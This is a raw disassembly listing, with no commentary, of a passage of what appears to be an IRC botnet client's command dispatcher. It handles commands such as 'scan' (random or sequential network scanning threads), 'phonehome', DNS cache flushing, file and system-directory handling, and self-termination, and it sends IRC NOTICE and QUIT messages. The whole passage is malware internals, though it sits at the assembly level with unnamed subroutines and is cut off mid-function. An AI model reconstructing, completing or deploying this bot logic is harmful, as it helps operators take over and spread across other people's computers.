		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403538
		lea	eax, [ebp+var_2C8]
		push	offset dword_4383C0
		push	eax
		call	sub_417CB0
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403517
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_403517:				; CODE XREF: sub_401C87+1872j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		mov	[esp+10h+var_10], offset aCrash_0 ; "crash"
		push	[ebp+esi+var_80]
		call	sub_418A30
		jmp	loc_402218
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: sub_401C87+185Aj
		push	edi
		push	offset aScan	; "scan"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403588
		push	edi
		push	offset aScan_0	; "scan"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403588
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4032EB
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		jmp	loc_4020E7
; ---------------------------------------------------------------------------


loc_403588:				; CODE XREF: sub_401C87+18C0j
					; sub_401C87+18D1j
		mov	al, byte_43F1CA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_43F1CA
		jz	loc_40622C
		mov	ecx, edx


loc_40359F:				; CODE XREF: sub_401C87+1920j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40359F
		cmp	al, bl
		jz	loc_40622C
		mov	[ebp+arg_18], edx
		mov	esi, offset aXp_0 ; "#xp"


loc_4035B9:				; CODE XREF: sub_401C87+1BD8j
		push	0Bh
		call	sub_4098A5
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403608
		push	ecx
		lea	eax, [ebp+var_2C8]
		push	offset unk_438428
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 20h
		jmp	loc_403856
; ---------------------------------------------------------------------------


loc_403608:				; CODE XREF: sub_401C87+194Cj
		or	[ebp+var_6FC], 0FFFFFFFFh
		cmp	dword_43F068, ebx
		mov	[ebp+var_700], 64h
		mov	[ebp+var_714], 5
		mov	[ebp+var_710], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_403679
		mov	edi, offset dword_43F068


loc_40363D:				; CODE XREF: sub_401C87+19D4j
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40365F
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40363D
		jmp	short loc_403679
; ---------------------------------------------------------------------------


loc_40365F:				; CODE XREF: sub_401C87+19CAj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_6FC], eax
		shl	ecx, 6
		mov	ecx, dword_43F068[ecx]
		mov	[ebp+var_718], ecx


loc_403679:				; CODE XREF: sub_401C87+19AFj
					; sub_401C87+19D6j
		cmp	[ebp+var_718], ebx
		jz	loc_40387C
		push	10h
		lea	eax, [ebp+arg_10]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		mov	[ebp+arg_10], edi
		push	[ebp+arg_4]
		call	dword_4D660C	; getsockname
		mov	al, [ebp+var_96B]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E4], eax
		push	[ebp+var_2E4]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_82C]
		push	eax
		call	sub_417760
		xor	eax, eax
		cmp	[ebp+var_96B], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_82C]
		push	eax
		call	sub_418800
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40371B


loc_4036F9:				; CODE XREF: sub_401C87+1A92j
		cmp	eax, ebx
		jz	short loc_40371B
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_82C]
		push	30h
		push	eax
		call	sub_418800
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4036F9


loc_40371B:				; CODE XREF: sub_401C87+1A70j
					; sub_401C87+1A74j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6F4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6F0], eax
		mov	edi, 80h
		lea	eax, [ebp+var_81C]
		push	edi
		push	eax
		mov	[ebp+var_6EC], 1
		call	sub_417E80
		push	offset byte_4D651D
		push	esi
		call	sub_418A30
		add	esp, 14h
		test	eax, eax
		jz	short loc_40377D
		push	esi
		lea	eax, [ebp+var_79C]
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 0Ch
		jmp	short loc_403783
; ---------------------------------------------------------------------------


loc_40377D:				; CODE XREF: sub_401C87+1AE1j
		mov	[ebp+var_79C], bl


loc_403783:				; CODE XREF: sub_401C87+1AF4j
		cmp	[ebp+var_6EC], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_403795
		mov	eax, offset aSequential	; "Sequential"


loc_403795:				; CODE XREF: sub_401C87+1B07j
		push	[ebp+var_700]
		lea	ecx, [ebp+var_82C]
		push	[ebp+var_710]
		push	[ebp+var_714]
		push	[ebp+var_718]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_438480
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Bh
		push	eax
		call	sub_409663
		add	esp, 2Ch
		mov	[ebp+var_70C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_82C]
		push	ebx
		push	eax
		push	offset sub_40AA63
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_70C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_403872
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_4384EC
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_403828:				; CODE XREF: sub_401C87+1BF3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403849
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_403849:				; CODE XREF: sub_401C87+1BA4j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		pop	ecx


loc_403856:				; CODE XREF: sub_401C87+197Cj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4035B9
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_40386A:				; CODE XREF: sub_401C87+1BF1j
		push	32h
		call	dword_4E033C	; Sleep


loc_403872:				; CODE XREF: sub_401C87+1B84j
		cmp	[ebp+var_6E8], ebx
		jz	short loc_40386A
		jmp	short loc_403828
; ---------------------------------------------------------------------------


loc_40387C:				; CODE XREF: sub_401C87+19F8j
		push	offset unk_438528
		jmp	short loc_403894
; ---------------------------------------------------------------------------


loc_403883:				; CODE XREF: sub_401C87+1830j
					; sub_401C87+1845j
		push	5
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jle	short loc_4038A7
		push	offset unk_438560


loc_403894:				; CODE XREF: sub_401C87+1BFAj
					; sub_401C87+2DB7j ...
		lea	eax, [ebp+var_2C8]


loc_40389A:				; CODE XREF: sub_401C87+2D26j
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	loc_40652F
; ---------------------------------------------------------------------------


loc_4038A7:				; CODE XREF: sub_401C87+1C06j
		mov	eax, [ebp+esi+var_90]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_4038CA
		push	eax
		lea	eax, [ebp+var_17B4]
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 0Ch
		jmp	short loc_4038D9
; ---------------------------------------------------------------------------


loc_4038CA:				; CODE XREF: sub_401C87+1C2Ej
		lea	eax, [ebp+var_17B4]
		push	edi
		push	eax
		push	ebx
		call	dword_4E0334	; GetModuleFileNameA


loc_4038D9:				; CODE XREF: sub_401C87+1C41j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_4038E9
		mov	esi, offset byte_4370EC


loc_4038E9:				; CODE XREF: sub_401C87+1C5Bj
		push	esi
		lea	eax, [ebp+var_16B0]
		push	edi
		push	eax
		call	sub_417E80
		mov	eax, dword_43707C
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_15A4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_15A8],	ebx
		mov	[ebp+var_17B8],	eax
		lea	eax, [ebp+var_15A0]
		push	eax
		call	sub_417760
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1520],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_151C],	eax
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_15A4]
		push	offset unk_438580
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	5
		push	eax
		call	sub_409663
		add	esp, 34h
		mov	[ebp+var_15AC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_17B8]
		push	ebx
		push	eax
		push	offset sub_40F3B8
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_15AC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_4039B5
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4385B4
		jmp	loc_406520
; ---------------------------------------------------------------------------


loc_4039AD:				; CODE XREF: sub_401C87+1D34j
		push	32h
		call	dword_4E033C	; Sleep


loc_4039B5:				; CODE XREF: sub_401C87+1D13j
		cmp	[ebp+var_1518],	ebx
		jz	short loc_4039AD
		jmp	loc_40652F
; ---------------------------------------------------------------------------


loc_4039C2:				; CODE XREF: sub_401C87+1806j
					; sub_401C87+181Bj
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4039E1
		push	edi
		call	sub_417960
		test	eax, eax
		pop	ecx
		jz	short loc_4039E1
		push	edi
		call	sub_417960
		pop	ecx
		jmp	short loc_4039E6
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401C87+1D44j
					; sub_401C87+1D4Fj
		mov	eax, dword_437080


loc_4039E6:				; CODE XREF: sub_401C87+1D58j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_193C],	eax
		xor	eax, eax
		cmp	[ebp+var_968], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_1928],	eax
		jz	short loc_403A19
		lea	eax, [ebp+var_1A40]
		push	esi
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	short loc_403A44
; ---------------------------------------------------------------------------


loc_403A19:				; CODE XREF: sub_401C87+1D7Fj
		lea	eax, [ebp+var_AD0]
		push	104h
		push	eax
		call	dword_4E0338	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_AD0]
		push	eax
		call	sub_417F80
		add	esp, 14h


loc_403A44:				; CODE XREF: sub_401C87+1D90j
		lea	eax, [ebp+var_1A40]
		push	eax
		call	sub_414EC0
		cmp	[ebp+eax+var_1A41], 5Ch
		pop	ecx
		jnz	short loc_403A6F
		lea	eax, [ebp+var_1A40]
		push	eax
		call	sub_414EC0
		pop	ecx
		mov	[ebp+eax+var_1A41], bl


loc_403A6F:				; CODE XREF: sub_401C87+1DD2j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_1CC8]
		mov	[ebp+var_1CCC],	esi
		push	80h
		push	eax
		call	sub_417E80
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_192C],	eax
		lea	eax, [ebp+var_1A40]
		mov	[ebp+var_1930],	edi
		push	eax
		push	[ebp+var_193C]
		push	esi
		call	sub_408882
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_4385F0
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	3
		push	eax
		call	sub_409663
		add	esp, 20h
		mov	[ebp+var_1934],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1CCC]
		push	ebx
		push	eax
		push	offset sub_40D826
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_1934]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_403B52
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43862C


loc_403B1D:				; CODE XREF: sub_401C87+49D1j
					; sub_401C87+4CB6j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_403B2C:				; CODE XREF: sub_401C87+1ED3j
					; sub_401C87+49E6j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40259F
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	edi
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_40654C
; ---------------------------------------------------------------------------


loc_403B4A:				; CODE XREF: sub_401C87+1ED1j
		push	32h
		call	dword_4E033C	; Sleep


loc_403B52:				; CODE XREF: sub_401C87+1E88j
		cmp	[ebp+var_1920],	ebx
		jz	short loc_403B4A
		jmp	short loc_403B2C
; ---------------------------------------------------------------------------


loc_403B5C:				; CODE XREF: sub_401C87+17DCj
					; sub_401C87+17F1j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_403B6F
		push	esi
		call	sub_417960
		jmp	short loc_403B76
; ---------------------------------------------------------------------------


loc_403B6F:				; CODE XREF: sub_401C87+1EDEj
		push	0Bh
		call	sub_4098C4


loc_403B76:				; CODE XREF: sub_401C87+1EE6j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40743C
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_409FA4
		jmp	loc_40403C
; ---------------------------------------------------------------------------


loc_403B96:				; CODE XREF: sub_401C87+17B2j
					; sub_401C87+17C7j
		mov	eax, dword_4D6584
		cmp	eax, ebx
		jz	short loc_403BB9
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jz	short loc_403BB2
		push	offset unk_438668
		jmp	short loc_403BE1
; ---------------------------------------------------------------------------


loc_403BB2:				; CODE XREF: sub_401C87+1F22j
		push	offset unk_43868C
		jmp	short loc_403BE1
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401C87+1F16j
		push	offset unk_4386B8
		lea	eax, [ebp+var_2C8]
		jmp	short loc_403BE1
; ---------------------------------------------------------------------------


loc_403BC6:				; CODE XREF: sub_401C87+1788j
					; sub_401C87+179Dj
		call	sub_40879E
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jz	short loc_403BDC
		push	offset unk_4386E4
		jmp	short loc_403BE1
; ---------------------------------------------------------------------------


loc_403BDC:				; CODE XREF: sub_401C87+1F4Cj
		push	offset unk_438708


loc_403BE1:				; CODE XREF: sub_401C87+1F29j
					; sub_401C87+1F30j ...
		push	200h
		push	eax
		call	sub_417E80
		jmp	loc_405E9D
; ---------------------------------------------------------------------------


loc_403BF1:				; CODE XREF: sub_401C87+175Ej
					; sub_401C87+1773j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403C10
		push	ebx
		push	[ebp+var_4]
		push	offset dword_438734
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_403C10:				; CODE XREF: sub_401C87+1F6Dj
		push	ebx
		push	[ebp+var_4]
		call	sub_411BDA
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		push	offset dword_43874C
		jmp	loc_403F0C
; ---------------------------------------------------------------------------


loc_403C32:				; CODE XREF: sub_401C87+1585j
					; sub_401C87+159Aj
		push	0Ah
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jle	short loc_403C48
		push	offset unk_438768
		jmp	loc_4056D9
; ---------------------------------------------------------------------------


loc_403C48:				; CODE XREF: sub_401C87+1FB5j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_413DAC
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403C67
		push	offset unk_438794
		jmp	loc_4056D9
; ---------------------------------------------------------------------------


loc_403C67:				; CODE XREF: sub_401C87+1FD4j
		push	offset unk_4387BC
		jmp	loc_4056D9
; ---------------------------------------------------------------------------


loc_403C71:				; CODE XREF: sub_401C87+155Bj
					; sub_401C87+1570j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4083A1
		jmp	loc_402037
; ---------------------------------------------------------------------------


loc_403C8A:				; CODE XREF: sub_401C87+1531j
					; sub_401C87+1546j
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41146E
		jmp	loc_402037
; ---------------------------------------------------------------------------


loc_403CA7:				; CODE XREF: sub_401C87+1507j
					; sub_401C87+151Cj
		or	edi, 0FFFFFFFFh
		call	dword_4E036C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_403CD0
		push	esi
		call	sub_417960
		pop	ecx
		mov	edi, eax


loc_403CD0:				; CODE XREF: sub_401C87+203Ej
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_403CE9
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40743C


loc_403CE9:				; CODE XREF: sub_401C87+2057j
		push	ebx
		call	sub_414606
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4387DC
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927


loc_403D26:				; CODE XREF: sub_401C87+4AFDj
		add	esp, 28h
		jmp	loc_40743C
; ---------------------------------------------------------------------------


loc_403D2E:				; CODE XREF: sub_401C87+14DDj
					; sub_401C87+14F2j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_410279
		lea	eax, [ebp+var_2C8]
		push	offset dword_4387F4
		push	eax
		call	sub_417CB0


loc_403D50:				; CODE XREF: sub_401C87+5021j
		add	esp, 14h
		jmp	loc_40652F
; ---------------------------------------------------------------------------


loc_403D58:				; CODE XREF: sub_401C87+14B3j
					; sub_401C87+14C8j
		push	27h
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jle	short loc_403D8C
		cmp	[ebp+var_8], ebx
		jnz	loc_40622C
		push	ebx
		push	[ebp+var_4]
		push	offset unk_438814
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A


loc_403D84:				; CODE XREF: sub_401C87+5763j
		add	esp, 14h
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_403D8C:				; CODE XREF: sub_401C87+20DBj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_398]
		push	80h
		push	eax
		call	sub_417E80
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_39C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_310], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_30C], eax
		mov	[ebp+var_314], ebx
		jz	short loc_403DED
		push	esi
		push	offset aFull	; "full"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DED
		mov	[ebp+var_314], 1


loc_403DED:				; CODE XREF: sub_401C87+2149j
					; sub_401C87+215Aj
		lea	eax, [ebp+var_2C8]
		push	offset dword_43883C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	27h
		push	eax
		call	sub_409663
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_39C]
		push	ebx
		push	eax
		push	offset sub_413A33
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_318]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_403E6D
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_438858
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		jmp	loc_40609C
; ---------------------------------------------------------------------------


loc_403E65:				; CODE XREF: sub_401C87+21ECj
		push	32h
		call	dword_4E033C	; Sleep


loc_403E6D:				; CODE XREF: sub_401C87+21BCj
		cmp	[ebp+var_308], ebx
		jz	short loc_403E65
		jmp	loc_40609C
; ---------------------------------------------------------------------------


loc_403E7A:				; CODE XREF: sub_401C87+1489j
					; sub_401C87+149Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403E99
		push	ebx
		push	[ebp+var_4]
		push	offset dword_438894
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_403E99:				; CODE XREF: sub_401C87+21F6j
		push	[ebp+arg_4]
		call	dword_4D6700	; closesocket
		call	dword_4D65C0	; WSACleanup
		call	sub_411DDE
		push	ebx
		call	dword_4E0328	; ExitProcess


loc_403EB4:				; CODE XREF: sub_401C87+145Fj
					; sub_401C87+1474j
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4147AC
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		push	offset dword_4388B0
		jmp	short loc_403F0C
; ---------------------------------------------------------------------------


loc_403EDF:				; CODE XREF: sub_401C87+1435j
					; sub_401C87+144Aj
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_414A60
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		push	offset dword_4388CC


loc_403F0C:				; CODE XREF: sub_401C87+1FA6j
					; sub_401C87+2256j
		call	sub_40F927


loc_403F11:				; CODE XREF: sub_401C87+54A4j
		add	esp, 18h
		jmp	loc_40743C
; ---------------------------------------------------------------------------


loc_403F19:				; CODE XREF: sub_401C87+140Bj
					; sub_401C87+1420j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40FA64
		jmp	loc_402037
; ---------------------------------------------------------------------------


loc_403F32:				; CODE XREF: sub_401C87+13E1j
					; sub_401C87+13F6j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_A5C], bl
		jz	short loc_403F71
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_403F71
		push	esi
		push	[ebp+var_C]
		call	sub_417E00
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_403F71
		push	eax
		push	offset dword_4388E8
		lea	eax, [ebp+var_A5C]
		push	80h
		push	eax
		call	sub_417E80
		add	esp, 10h


loc_403F71:				; CODE XREF: sub_401C87+22B4j
					; sub_401C87+22BFj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_ADC]
		push	80h
		push	eax
		call	sub_417E80
		mov	eax, [ebp+arg_4]
		push	offset dword_4388EC
		mov	[ebp+var_AE0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_9D8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_9D4], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	25h
		push	eax
		call	sub_409663
		add	esp, 20h
		mov	[ebp+var_9DC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_AE0]
		push	ebx
		push	eax
		push	offset sub_40FAD7
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_9DC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_404014
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438904
		jmp	loc_402213
; ---------------------------------------------------------------------------


loc_40400C:				; CODE XREF: sub_401C87+2393j
		push	32h
		call	dword_4E033C	; Sleep


loc_404014:				; CODE XREF: sub_401C87+2372j
		cmp	[ebp+var_9D0], ebx
		jz	short loc_40400C
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_404021:				; CODE XREF: sub_401C87+13B7j
					; sub_401C87+13CCj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40F8AF
		push	offset dword_43893C
		call	sub_40F927


loc_40403C:				; CODE XREF: sub_401C87+1F0Aj
		add	esp, 10h
		jmp	loc_40743C
; ---------------------------------------------------------------------------


loc_404044:				; CODE XREF: sub_401C87+138Dj
					; sub_401C87+13A2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_430]
		push	80h
		push	eax
		call	sub_417E80
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_434], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3A8], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_3A4], eax
		jz	short loc_40409E
		push	offset dword_438954
		push	esi
		call	sub_418A30
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_3AC], eax
		jmp	short loc_4040A4
; ---------------------------------------------------------------------------


loc_40409E:				; CODE XREF: sub_401C87+23FBj
		mov	[ebp+var_3AC], ebx


loc_4040A4:				; CODE XREF: sub_401C87+2415j
		lea	eax, [ebp+var_2C8]
		push	offset dword_438958
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	28h
		push	eax
		call	sub_409663
		add	esp, 14h
		mov	[ebp+var_3B0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_434]
		push	ebx
		push	eax
		push	offset sub_4096CE
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_3B0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_404115
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438978
		jmp	loc_4052CC
; ---------------------------------------------------------------------------


loc_40410D:				; CODE XREF: sub_401C87+2494j
		push	32h
		call	dword_4E033C	; Sleep


loc_404115:				; CODE XREF: sub_401C87+2473j
		cmp	[ebp+var_3A0], ebx
		jz	short loc_40410D
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_404122:				; CODE XREF: sub_401C87+1311j
					; sub_401C87+1326j
		push	offset aJav0	; "Jav0"
		lea	eax, [ebp+var_2C8]
		push	offset dword_4389B4
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 20h
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_404159:				; CODE XREF: sub_401C87+12E7j
					; sub_401C87+12FCj
		push	dword_4D63A4
		call	sub_414606
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_4389CC
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 24h
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_404197:				; CODE XREF: sub_401C87+12BDj
					; sub_401C87+12D2j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4041C9
		cmp	[ebp+var_C], ebx
		jz	short loc_4041D8
		push	esi
		push	[ebp+var_C]
		call	sub_417E00
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4041D8
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
